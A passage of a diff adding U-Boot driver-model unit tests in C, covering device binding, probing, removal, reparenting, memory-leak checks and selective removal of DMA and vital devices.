+ { .ping_add = TEST_INTVAL3, },
+};
+
+static const struct dm_test_pdata test_pdata_manual = {
+ .ping_add = TEST_INTVAL_MANUAL,
+};
+
+static const struct dm_test_pdata test_pdata_pre_reloc = {
+ .ping_add = TEST_INTVAL_PRE_RELOC,
+};
+
+U_BOOT_DRVINFO(dm_test_info1) = {
+ .name = "test_drv",
+ .plat = &test_pdata[0],
+};
+
+U_BOOT_DRVINFO(dm_test_info2) = {
+ .name = "test_drv",
+ .plat = &test_pdata[1],
+};
+
+U_BOOT_DRVINFO(dm_test_info3) = {
+ .name = "test_drv",
+ .plat = &test_pdata[2],
+};
+
+static struct driver_info driver_info_manual = {
+ .name = "test_manual_drv",
+ .plat = &test_pdata_manual,
+};
+
+static struct driver_info driver_info_pre_reloc = {
+ .name = "test_pre_reloc_drv",
+ .plat = &test_pdata_pre_reloc,
+};
+
+static struct driver_info driver_info_act_dma = {
+ .name = "test_act_dma_drv",
+};
+
+static struct driver_info driver_info_vital_clk = {
+ .name = "test_vital_clk_drv",
+};
+
+static struct driver_info driver_info_act_dma_vital_clk = {
+ .name = "test_act_dma_vital_clk_drv",
+};
+
+void dm_leak_check_start(struct unit_test_state *uts)
+{
+ uts->start = mallinfo();
+ if (!uts->start.uordblks)
+ puts("Warning: Please add '#define DEBUG' to the top of common/dlmalloc.c\n");
+}
+
+int dm_leak_check_end(struct unit_test_state *uts)
+{
+ struct mallinfo end;
+ int id, diff;
+
+ /* Don't delete the root class, since we started with that */
+ for (id = UCLASS_ROOT + 1; id < UCLASS_COUNT; id++) {
+ struct uclass *uc;
+
+ uc = uclass_find(id);
+ if (!uc)
+ continue;
+ ut_assertok(uclass_destroy(uc));
+ }
+
+ end = mallinfo();
+ diff = end.uordblks - uts->start.uordblks;
+ if (diff > 0)
+ printf("Leak: lost %#xd bytes\n", diff);
+ else if (diff < 0)
+ printf("Leak: gained %#xd bytes\n", -diff);
+ ut_asserteq(uts->start.uordblks, end.uordblks);
+
+ return 0;
+}
+
+/* Test that binding with plat occurs correctly */
+static int dm_test_autobind(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /*
+ * We should have a single class (UCLASS_ROOT) and a single root
+ * device with no children.
+ */
+ ut_assert(uts->root);
+ ut_asserteq(1, list_count_items(gd->uclass_root));
+ ut_asserteq(0, list_count_items(&gd->dm_root->child_head));
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_POST_BIND]);
+
+ ut_assertok(dm_scan_plat(false));
+
+ /* We should have our test class now at least, plus more children */
+ ut_assert(1 < list_count_items(gd->uclass_root));
+ ut_assert(0 < list_count_items(&gd->dm_root->child_head));
+
+ /* Our 3 dm_test_infox children should be bound to the test uclass */
+ ut_asserteq(3, dm_testdrv_op_count[DM_TEST_OP_POST_BIND]);
+
+ /* No devices should be probed */
+ list_for_each_entry(dev, &gd->dm_root->child_head, sibling_node)
+ ut_assert(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED));
+
+ /* Our test driver should have been bound 3 times */
+ ut_assert(dm_testdrv_op_count[DM_TEST_OP_BIND] == 3);
+
+ return 0;
+}
+DM_TEST(dm_test_autobind, 0);
+
+/* Test that binding with uclass plat allocation occurs correctly */
+static int dm_test_autobind_uclass_pdata_alloc(struct unit_test_state *uts)
+{
+ struct dm_test_perdev_uc_pdata *uc_pdata;
+ struct udevice *dev;
+ struct uclass *uc;
+
+ ut_assertok(uclass_get(UCLASS_TEST, &uc));
+ ut_assert(uc);
+
+ /**
+ * Test if test uclass driver requires allocation for the uclass
+ * platform data and then check the dev->uclass_plat pointer.
+ */
+ ut_assert(uc->uc_drv->per_device_plat_auto);
+
+ for (uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ uclass_find_next_device(&dev)) {
+ ut_assertnonnull(dev);
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_autobind_uclass_pdata_alloc, UT_TESTF_SCAN_PDATA);
+
+/* compare node names ignoring the unit address */
+static int dm_test_compare_node_name(struct unit_test_state *uts)
+{
+ ofnode node;
+
+ node = ofnode_path("/mmio-bus@0");
+ ut_assert(ofnode_valid(node));
+ ut_assert(ofnode_name_eq(node, "mmio-bus"));
+
+ return 0;
+}
+
+DM_TEST(dm_test_compare_node_name, UT_TESTF_SCAN_PDATA);
+
+/* Test that binding with uclass plat setting occurs correctly */
+static int dm_test_autobind_uclass_pdata_valid(struct unit_test_state *uts)
+{
+ struct dm_test_perdev_uc_pdata *uc_pdata;
+ struct udevice *dev;
+
+ /**
+ * In the test_postbind() method of test uclass driver, the uclass
+ * platform data should be set to three test int values - test it.
+ */
+ for (uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ uclass_find_next_device(&dev)) {
+ ut_assertnonnull(dev);
+
+ uc_pdata = dev_get_uclass_plat(dev);
+ ut_assert(uc_pdata);
+ ut_assert(uc_pdata->intval1 == TEST_UC_PDATA_INTVAL1);
+ ut_assert(uc_pdata->intval2 == TEST_UC_PDATA_INTVAL2);
+ ut_assert(uc_pdata->intval3 == TEST_UC_PDATA_INTVAL3);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_autobind_uclass_pdata_valid, UT_TESTF_SCAN_PDATA);
+
+/* Test that autoprobe finds all the expected devices */
+static int dm_test_autoprobe(struct unit_test_state *uts)
+{
+ int expected_base_add;
+ struct udevice *dev;
+ struct uclass *uc;
+ int i;
+
+ ut_assertok(uclass_get(UCLASS_TEST, &uc));
+ ut_assert(uc);
+
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_INIT]);
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_PRE_PROBE]);
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_POST_PROBE]);
+
+ /* The root device should not be activated until needed */
+ ut_assert(dev_get_flags(uts->root) & DM_FLAG_ACTIVATED);
+
+ /*
+ * We should be able to find the three test devices, and they should
+ * all be activated as they are used (lazy activation, required by
+ * U-Boot)
+ */
+ for (i = 0; i < 3; i++) {
+ ut_assertok(uclass_find_device(UCLASS_TEST, i, &dev));
+ ut_assert(dev);
+ ut_assertf(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED),
+ "Driver %d/%s already activated", i, dev->name);
+
+ /* This should activate it */
+ ut_assertok(uclass_get_device(UCLASS_TEST, i, &dev));
+ ut_assert(dev);
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ /* Activating a device should activate the root device */
+ if (!i)
+ ut_assert(dev_get_flags(uts->root) & DM_FLAG_ACTIVATED);
+ }
+
+ /*
+ * Our 3 dm_test_info children should be passed to pre_probe and
+ * post_probe
+ */
+ ut_asserteq(3, dm_testdrv_op_count[DM_TEST_OP_POST_PROBE]);
+ ut_asserteq(3, dm_testdrv_op_count[DM_TEST_OP_PRE_PROBE]);
+
+ /* Also we can check the per-device data */
+ expected_base_add = 0;
+ for (i = 0; i < 3; i++) {
+ struct dm_test_uclass_perdev_priv *priv;
+ struct dm_test_pdata *pdata;
+
+ ut_assertok(uclass_find_device(UCLASS_TEST, i, &dev));
+ ut_assert(dev);
+
+ priv = dev_get_uclass_priv(dev);
+ ut_assert(priv);
+ ut_asserteq(expected_base_add, priv->base_add);
+
+ pdata = dev_get_plat(dev);
+ expected_base_add += pdata->ping_add;
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_autoprobe, UT_TESTF_SCAN_PDATA);
+
+/* Check that we see the correct plat in each device */
+static int dm_test_plat(struct unit_test_state *uts)
+{
+ const struct dm_test_pdata *pdata;
+ struct udevice *dev;
+ int i;
+
+ for (i = 0; i < 3; i++) {
+ ut_assertok(uclass_find_device(UCLASS_TEST, i, &dev));
+ ut_assert(dev);
+ pdata = dev_get_plat(dev);
+ ut_assert(pdata->ping_add == test_pdata[i].ping_add);
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_plat, UT_TESTF_SCAN_PDATA);
+
+/* Test that we can bind, probe, remove, unbind a driver */
+static int dm_test_lifecycle(struct unit_test_state *uts)
+{
+ int op_count[DM_TEST_OP_COUNT];
+ struct udevice *dev, *test_dev;
+ int start_dev_count, start_uc_count;
+ int dev_count, uc_count;
+ int pingret;
+ int ret;
+
+ memcpy(op_count, dm_testdrv_op_count, sizeof(op_count));
+
+ dm_get_stats(&start_dev_count, &start_uc_count);
+
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev));
+ ut_assert(dev);
+ ut_assert(dm_testdrv_op_count[DM_TEST_OP_BIND]
+ == op_count[DM_TEST_OP_BIND] + 1);
+ ut_assert(!dev_get_priv(dev));
+
+ /* We should have one more device */
+ dm_get_stats(&dev_count, &uc_count);
+ ut_asserteq(start_dev_count + 1, dev_count);
+ ut_asserteq(start_uc_count, uc_count);
+
+ /* Probe the device - it should fail allocating private data */
+ uts->force_fail_alloc = 1;
+ ret = device_probe(dev);
+ ut_assert(ret == -ENOMEM);
+ ut_assert(dm_testdrv_op_count[DM_TEST_OP_PROBE]
+ == op_count[DM_TEST_OP_PROBE] + 1);
+ ut_assert(!dev_get_priv(dev));
+
+ /* Try again without the alloc failure */
+ uts->force_fail_alloc = 0;
+ ut_assertok(device_probe(dev));
+ ut_assert(dm_testdrv_op_count[DM_TEST_OP_PROBE]
+ == op_count[DM_TEST_OP_PROBE] + 2);
+ ut_assert(dev_get_priv(dev));
+
+ /* This should be device 3 in the uclass */
+ ut_assertok(uclass_find_device(UCLASS_TEST, 3, &test_dev));
+ ut_assert(dev == test_dev);
+
+ /* Try ping */
+ ut_assertok(test_ping(dev, 100, &pingret));
+ ut_assert(pingret == 102);
+
+ /* Now remove device 3 */
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_PRE_REMOVE]);
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_PRE_REMOVE]);
+
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_UNBIND]);
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_PRE_UNBIND]);
+ ut_assertok(device_unbind(dev));
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_UNBIND]);
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_PRE_UNBIND]);
+
+ /* We should have one less device */
+ dm_get_stats(&dev_count, &uc_count);
+ ut_asserteq(start_dev_count, dev_count);
+ ut_asserteq(start_uc_count, uc_count);
+
+ return 0;
+}
+DM_TEST(dm_test_lifecycle, UT_TESTF_SCAN_PDATA | UT_TESTF_PROBE_TEST);
+
+/* Test that we can bind/unbind and the lists update correctly */
+static int dm_test_ordering(struct unit_test_state *uts)
+{
+ struct udevice *dev, *dev_penultimate, *dev_last, *test_dev;
+ int pingret;
+
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev));
+ ut_assert(dev);
+
+ /* Bind two new devices (numbers 4 and 5) */
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev_penultimate));
+ ut_assert(dev_penultimate);
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev_last));
+ ut_assert(dev_last);
+
+ /* Now remove device 3 */
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_assertok(device_unbind(dev));
+
+ /* The device numbering should have shifted down one */
+ ut_assertok(uclass_find_device(UCLASS_TEST, 3, &test_dev));
+ ut_assert(dev_penultimate == test_dev);
+ ut_assertok(uclass_find_device(UCLASS_TEST, 4, &test_dev));
+ ut_assert(dev_last == test_dev);
+
+ /* Add back the original device 3, now in position 5 */
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev));
+ ut_assert(dev);
+
+ /* Try ping */
+ ut_assertok(test_ping(dev, 100, &pingret));
+ ut_assert(pingret == 102);
+
+ /* Remove 3 and 4 */
+ ut_assertok(device_remove(dev_penultimate, DM_REMOVE_NORMAL));
+ ut_assertok(device_unbind(dev_penultimate));
+ ut_assertok(device_remove(dev_last, DM_REMOVE_NORMAL));
+ ut_assertok(device_unbind(dev_last));
+
+ /* Our device should now be in position 3 */
+ ut_assertok(uclass_find_device(UCLASS_TEST, 3, &test_dev));
+ ut_assert(dev == test_dev);
+
+ /* Now remove device 3 */
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_assertok(device_unbind(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_ordering, UT_TESTF_SCAN_PDATA);
+
+/* Check that we can perform operations on a device (do a ping) */
+int dm_check_operations(struct unit_test_state *uts, struct udevice *dev,
+ uint32_t base, struct dm_test_priv *priv)
+{
+ int expected;
+ int pingret;
+
+ /* Getting the child device should allocate plat / priv */
+ ut_assertok(testfdt_ping(dev, 10, &pingret));
+ ut_assert(dev_get_priv(dev));
+ ut_assert(dev_get_plat(dev));
+
+ expected = 10 + base;
+ ut_asserteq(expected, pingret);
+
+ /* Do another ping */
+ ut_assertok(testfdt_ping(dev, 20, &pingret));
+ expected = 20 + base;
+ ut_asserteq(expected, pingret);
+
+ /* Now check the ping_total */
+ priv = dev_get_priv(dev);
+ ut_asserteq(DM_TEST_START_TOTAL + 10 + 20 + base * 2,
+ priv->ping_total);
+
+ return 0;
+}
+
+/* Check that we can perform operations on devices */
+static int dm_test_operations(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int i;
+
+ /*
+ * Now check that the ping adds are what we expect. This is using the
+ * ping-add property in each node.
+ */
+ for (i = 0; i < ARRAY_SIZE(test_pdata); i++) {
+ uint32_t base;
+
+ ut_assertok(uclass_get_device(UCLASS_TEST, i, &dev));
+
+ /*
+ * Get the 'reg' property, which tells us what the ping add
+ * should be. We don't use the plat because we want
+ * to test the code that sets that up (testfdt_drv_probe()).
+ */
+ base = test_pdata[i].ping_add;
+ debug("dev=%d, base=%d\n", i, base);
+
+ ut_assert(!dm_check_operations(uts, dev, base, dev_get_priv(dev)));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_operations, UT_TESTF_SCAN_PDATA);
+
+/* Remove all drivers and check that things work */
+static int dm_test_remove(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ int i;
+
+ for (i = 0; i < 3; i++) {
+ ut_assertok(uclass_find_device(UCLASS_TEST, i, &dev));
+ ut_assert(dev);
+ ut_assertf(dev_get_flags(dev) & DM_FLAG_ACTIVATED,
+ "Driver %d/%s not activated", i, dev->name);
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_assertf(!(dev_get_flags(dev) & DM_FLAG_ACTIVATED),
+ "Driver %d/%s should have deactivated", i,
+ dev->name);
+ ut_assert(!dev_get_priv(dev));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_remove, UT_TESTF_SCAN_PDATA | UT_TESTF_PROBE_TEST);
+
+/* Remove and recreate everything, check for memory leaks */
+static int dm_test_leak(struct unit_test_state *uts)
+{
+ int i;
+
+ for (i = 0; i < 2; i++) {
+ int ret;
+
+ dm_leak_check_start(uts);
+
+ ut_assertok(dm_scan_plat(false));
+ ut_assertok(dm_scan_fdt(false));
+
+ ret = uclass_probe_all(UCLASS_TEST);
+ ut_assertok(ret);
+
+ ut_assertok(dm_leak_check_end(uts));
+ }
+
+ return 0;
+}
+DM_TEST(dm_test_leak, 0);
+
+/* Test uclass init/destroy methods */
+static int dm_test_uclass(struct unit_test_state *uts)
+{
+ int dev_count, uc_count;
+ struct uclass *uc;
+
+ /* We should have just the root device and uclass */
+ dm_get_stats(&dev_count, &uc_count);
+ ut_asserteq(1, dev_count);
+ ut_asserteq(1, uc_count);
+
+ ut_assertok(uclass_get(UCLASS_TEST, &uc));
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_INIT]);
+ ut_asserteq(0, dm_testdrv_op_count[DM_TEST_OP_DESTROY]);
+ ut_assert(uclass_get_priv(uc));
+
+ dm_get_stats(&dev_count, &uc_count);
+ ut_asserteq(1, dev_count);
+ ut_asserteq(2, uc_count);
+
+ ut_assertok(uclass_destroy(uc));
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_INIT]);
+ ut_asserteq(1, dm_testdrv_op_count[DM_TEST_OP_DESTROY]);
+
+ dm_get_stats(&dev_count, &uc_count);
+ ut_asserteq(1, dev_count);
+ ut_asserteq(1, uc_count);
+
+ return 0;
+}
+DM_TEST(dm_test_uclass, 0);
+
+/**
+ * create_children() - Create children of a parent node
+ *
+ * @dms: Test system state
+ * @parent: Parent device
+ * @count: Number of children to create
+ * @key: Key value to put in first child. Subsequence children
+ * receive an incrementing value
+ * @child: If not NULL, then the child device pointers are written into
+ * this array.
+ * Return: 0 if OK, -ve on error
+ */
+static int create_children(struct unit_test_state *uts, struct udevice *parent,
+ int count, int key, struct udevice *child[])
+{
+ struct udevice *dev;
+ int i;
+
+ for (i = 0; i < count; i++) {
+ struct dm_test_pdata *pdata;
+
+ ut_assertok(device_bind_by_name(parent, false,
+ &driver_info_manual, &dev));
+ pdata = calloc(1, sizeof(*pdata));
+ pdata->ping_add = key + i;
+ dev_set_plat(dev, pdata);
+ if (child)
+ child[i] = dev;
+ }
+
+ return 0;
+}
+
+#define NODE_COUNT 10
+
+static int dm_test_children(struct unit_test_state *uts)
+{
+ struct udevice *top[NODE_COUNT];
+ struct udevice *child[NODE_COUNT];
+ struct udevice *grandchild[NODE_COUNT];
+ struct udevice *dev;
+ int total;
+ int ret;
+ int i;
+
+ /* We don't care about the numbering for this test */
+ uts->skip_post_probe = 1;
+
+ ut_assert(NODE_COUNT > 5);
+
+ /* First create 10 top-level children */
+ ut_assertok(create_children(uts, uts->root, NODE_COUNT, 0, top));
+
+ /* Now a few have their own children */
+ ut_assertok(create_children(uts, top[2], NODE_COUNT, 2, NULL));
+ ut_assertok(create_children(uts, top[5], NODE_COUNT, 5, child));
+
+ /* And grandchildren */
+ for (i = 0; i < NODE_COUNT; i++)
+ ut_assertok(create_children(uts, child[i], NODE_COUNT, 50 * i,
+ i == 2 ? grandchild : NULL));
+
+ /* Check total number of devices */
+ total = NODE_COUNT * (3 + NODE_COUNT);
+ ut_asserteq(total, dm_testdrv_op_count[DM_TEST_OP_BIND]);
+
+ /* Try probing one of the grandchildren */
+ ut_assertok(uclass_get_device(UCLASS_TEST,
+ NODE_COUNT * 3 + 2 * NODE_COUNT, &dev));
+ ut_asserteq_ptr(grandchild[0], dev);
+
+ /*
+ * This should have probed the child and top node also, for a total
+ * of 3 nodes.
+ */
+ ut_asserteq(3, dm_testdrv_op_count[DM_TEST_OP_PROBE]);
+
+ /* Probe the other grandchildren */
+ for (i = 1; i < NODE_COUNT; i++)
+ ut_assertok(device_probe(grandchild[i]));
+
+ ut_asserteq(2 + NODE_COUNT, dm_testdrv_op_count[DM_TEST_OP_PROBE]);
+
+ /* Probe everything */
+ ret = uclass_probe_all(UCLASS_TEST);
+ ut_assertok(ret);
+
+ ut_asserteq(total, dm_testdrv_op_count[DM_TEST_OP_PROBE]);
+
+ /* Remove a top-level child and check that the children are removed */
+ ut_assertok(device_remove(top[2], DM_REMOVE_NORMAL));
+ ut_asserteq(NODE_COUNT + 1, dm_testdrv_op_count[DM_TEST_OP_REMOVE]);
+ dm_testdrv_op_count[DM_TEST_OP_REMOVE] = 0;
+
+ /* Try one with grandchildren */
+ ut_assertok(uclass_get_device(UCLASS_TEST, 5, &dev));
+ ut_asserteq_ptr(dev, top[5]);
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+ ut_asserteq(1 + NODE_COUNT * (1 + NODE_COUNT),
+ dm_testdrv_op_count[DM_TEST_OP_REMOVE]);
+
+ /* Try the same with unbind */
+ ut_assertok(device_unbind(top[2]));
+ ut_asserteq(NODE_COUNT + 1, dm_testdrv_op_count[DM_TEST_OP_UNBIND]);
+ dm_testdrv_op_count[DM_TEST_OP_UNBIND] = 0;
+
+ /* Try one with grandchildren */
+ ut_assertok(uclass_get_device(UCLASS_TEST, 5, &dev));
+ ut_asserteq_ptr(dev, top[6]);
+ ut_assertok(device_unbind(top[5]));
+ ut_asserteq(1 + NODE_COUNT * (1 + NODE_COUNT),
+ dm_testdrv_op_count[DM_TEST_OP_UNBIND]);
+
+ return 0;
+}
+DM_TEST(dm_test_children, 0);
+
+static int dm_test_device_reparent(struct unit_test_state *uts)
+{
+ struct udevice *top[NODE_COUNT];
+ struct udevice *child[NODE_COUNT];
+ struct udevice *grandchild[NODE_COUNT];
+ struct udevice *dev;
+ int total;
+ int ret;
+ int i;
+
+ /* We don't care about the numbering for this test */
+ uts->skip_post_probe = 1;
+
+ ut_assert(NODE_COUNT > 5);
+
+ /* First create 10 top-level children */
+ ut_assertok(create_children(uts, uts->root, NODE_COUNT, 0, top));
+
+ /* Now a few have their own children */
+ ut_assertok(create_children(uts, top[2], NODE_COUNT, 2, NULL));
+ ut_assertok(create_children(uts, top[5], NODE_COUNT, 5, child));
+
+ /* And grandchildren */
+ for (i = 0; i < NODE_COUNT; i++)
+ ut_assertok(create_children(uts, child[i], NODE_COUNT, 50 * i,
+ i == 2 ? grandchild : NULL));
+
+ /* Check total number of devices */
+ total = NODE_COUNT * (3 + NODE_COUNT);
+ ut_asserteq(total, dm_testdrv_op_count[DM_TEST_OP_BIND]);
+
+ /* Probe everything */
+ for (i = 0; i < total; i++)
+ ut_assertok(uclass_get_device(UCLASS_TEST, i, &dev));
+
+ /* Re-parent top-level children with no grandchildren. */
+ ut_assertok(device_reparent(top[3], top[0]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_reparent(top[4], top[0]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ /* Re-parent top-level children with grandchildren. */
+ ut_assertok(device_reparent(top[2], top[0]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_reparent(top[5], top[2]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ /* Re-parent grandchildren. */
+ ut_assertok(device_reparent(grandchild[0], top[1]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_reparent(grandchild[1], top[1]));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ /* Remove re-pareneted devices. */
+ ut_assertok(device_remove(top[3], DM_REMOVE_NORMAL));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_remove(top[4], DM_REMOVE_NORMAL));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_remove(top[5], DM_REMOVE_NORMAL));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_remove(top[2], DM_REMOVE_NORMAL));
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_remove(grandchild[0], DM_REMOVE_NORMAL));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ ut_assertok(device_remove(grandchild[1], DM_REMOVE_NORMAL));
+ /* try to get devices */
+ for (ret = uclass_find_first_device(UCLASS_TEST, &dev);
+ dev;
+ ret = uclass_find_next_device(&dev)) {
+ ut_assert(!ret);
+ ut_assertnonnull(dev);
+ }
+
+ /* Try the same with unbind */
+ ut_assertok(device_unbind(top[3]));
+ ut_assertok(device_unbind(top[4]));
+ ut_assertok(device_unbind(top[5]));
+ ut_assertok(device_unbind(top[2]));
+
+ ut_assertok(device_unbind(grandchild[0]));
+ ut_assertok(device_unbind(grandchild[1]));
+
+ return 0;
+}
+DM_TEST(dm_test_device_reparent, 0);
+
+/* Test that pre-relocation devices work as expected */
+static int dm_test_pre_reloc(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* The normal driver should refuse to bind before relocation */
+ ut_asserteq(-EPERM, device_bind_by_name(uts->root, true,
+ &driver_info_manual, &dev));
+
+ /* But this one is marked pre-reloc */
+ ut_assertok(device_bind_by_name(uts->root, true,
+ &driver_info_pre_reloc, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_pre_reloc, 0);
+
+/*
+ * Test that removal of devices, either via the "normal" device_remove()
+ * API or via the device driver selective flag works as expected
+ */
+static int dm_test_remove_active_dma(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_act_dma,
+ &dev));
+ ut_assert(dev);
+
+ /* Probe the device */
+ ut_assertok(device_probe(dev));
+
+ /* Test if device is active right now */
+ ut_asserteq(true, device_active(dev));
+
+ /* Remove the device via selective remove flag */
+ dm_remove_devices_flags(DM_REMOVE_ACTIVE_ALL);
+
+ /* Test if device is inactive right now */
+ ut_asserteq(false, device_active(dev));
+
+ /* Probe the device again */
+ ut_assertok(device_probe(dev));
+
+ /* Test if device is active right now */
+ ut_asserteq(true, device_active(dev));
+
+ /* Remove the device via "normal" remove API */
+ ut_assertok(device_remove(dev, DM_REMOVE_NORMAL));
+
+ /* Test if device is inactive right now */
+ ut_asserteq(false, device_active(dev));
+
+ /*
+ * Test if a device without the active DMA flags is not removed upon
+ * the active DMA remove call
+ */
+ ut_assertok(device_unbind(dev));
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &dev));
+ ut_assert(dev);
+
+ /* Probe the device */
+ ut_assertok(device_probe(dev));
+
+ /* Test if device is active right now */
+ ut_asserteq(true, device_active(dev));
+
+ /* Remove the device via selective remove flag */
+ dm_remove_devices_flags(DM_REMOVE_ACTIVE_ALL);
+
+ /* Test if device is still active right now */
+ ut_asserteq(true, device_active(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_remove_active_dma, 0);
+
+/* Test removal of 'vital' devices */
+static int dm_test_remove_vital(struct unit_test_state *uts)
+{
+ struct udevice *normal, *dma, *vital, *dma_vital;
+
+ /* Skip the behaviour in test_post_probe() */
+ uts->skip_post_probe = 1;
+
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_manual,
+ &normal));
+ ut_assertnonnull(normal);
+
+ ut_assertok(device_bind_by_name(uts->root, false, &driver_info_act_dma,
+ &dma));
+ ut_assertnonnull(dma);
+
+ ut_assertok(device_bind_by_name(uts->root, false,
+ &driver_info_vital_clk, &vital));
+ ut_assertnonnull(vital);
+
+ ut_assertok(device_bind_by_name(uts->root, false,
+ &driver_info_act_dma_vital_clk,
+ &dma_vital));
+ ut_assertnonnull(dma_vital);
+
+ /* Probe the devices */
+ ut_assertok(device_probe(normal));
+ ut_assertok(device_probe(dma));
+ ut_assertok(device_probe(vital));
+ ut_assertok(device_probe(dma_vital));
+
+ /* Check that devices are active right now */
+ ut_asserteq(true, device_active(normal));
+ ut_asserteq(true, device_active(dma));
+ ut_asserteq(true, device_active(vital));
+ ut_asserteq(true, device_active(dma_vital));
+
+ /* Remove active devices via selective remove flag */
+ dm_remove_devices_flags(DM_REMOVE_NON_VITAL | DM_REMOVE_ACTIVE_ALL);
+
+ /*
+ * Check that this only has an effect on the dma device, since two
+ * devices are vital and the third does not have active DMA
+ */
+ ut_asserteq(true, device_active(normal));
+ ut_asserteq(false, device_active(dma));
+ ut_asserteq(true, device_active(vital));
+ ut_asserteq(true, device_active(dma_vital));
+
+ /* Remove active devices via selective remove flag */
+ ut_assertok(device_probe(dma));
+ dm_remove_devices_flags(DM_REMOVE_ACTIVE_ALL);
+
+ /* This should have affected both active-dma devices */
+ ut_asserteq(true, device_active(normal));
+ ut_asserteq(false, device_active(dma));
+ ut_asserteq(true, device_active(vital));
+ ut_asserteq(false, device_active(dma_vital));
+
+ /* Remove non-vital devices */
+ ut_assertok(device_probe(dma));
+ ut_assertok(device_probe(dma_vital));
+ dm_remove_devices_flags(DM_REMOVE_NON_VITAL);
+
+ /* This should have affected only non-vital devices */
+ ut_asserteq(false, device_active(normal));
+ ut_asserteq(false, device_active(dma));
+ ut_asserteq(true, device_active(vital));
+ ut_asserteq(true, device_active(dma_vital));
+
+ /* Remove vital devices via normal remove flag */
+ ut_assertok(device_probe(normal));
+ ut_assertok(device_probe(dma));
+ dm_remove_devices_flags(DM_REMOVE_NORMAL);
+
+ /* Check that all devices are inactive right now */
+ ut_asserteq(false, device_active(normal));
